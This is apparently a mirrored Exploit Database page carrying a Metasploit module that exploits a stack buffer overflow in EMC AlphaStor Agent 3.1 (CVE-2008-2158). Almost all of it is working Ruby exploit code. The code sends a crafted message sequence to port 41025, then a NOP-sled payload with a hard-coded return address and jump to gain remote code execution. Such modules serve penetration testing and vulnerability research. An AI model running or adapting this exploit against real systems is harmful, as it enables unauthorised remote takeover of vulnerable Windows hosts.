EMC AlphaStor Agent – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 34 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16391/

• ##
  # $Id: alphastor_agent.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'EMC AlphaStor Agent Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in EMC AlphaStor 3.1.
  				By sending a specially crafted message, an attacker may
  				be able to execute arbitrary code.
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2008-2158' ],
  					[ 'OSVDB', '45714' ],
  					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process', # one-shot overwrite.
  				},
  			'Payload'=>
  				{
  					'Space'=> 750,
  					'BadChars' => "\x00\x0a\x0d\x20",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.1975
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'May 27 2008',
  			'DefaultTarget' => 0))
  
  		register_options([Opt::RPORT(41025)], self.class)
  	end
  
  	def exploit
  		connect
  
  		# overwrite via: ascli.exe asopmsg "long_buff"
  		uno = [0x0000000b].pack('V')
  		sock.put(uno)
  
  		dos =rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00"
  		sock.put(dos)
  
  		tres = [0x00000004].pack('V')
  		sock.put(tres)
  
  		quatro = [0x0000001b].pack('V')
  		sock.put(quatro)
  
  		cinco = [0x0000047c].pack('V')
  		sock.put(cinco)
  
  		data =make_nops(827 - payload.encoded.length) + payload.encoded
  		data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
  		data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00"
  
  		print_status("Trying target #{target.name}...")
  		sock.put(data)
  
  		handler
  		disconnect
  	end
  
  end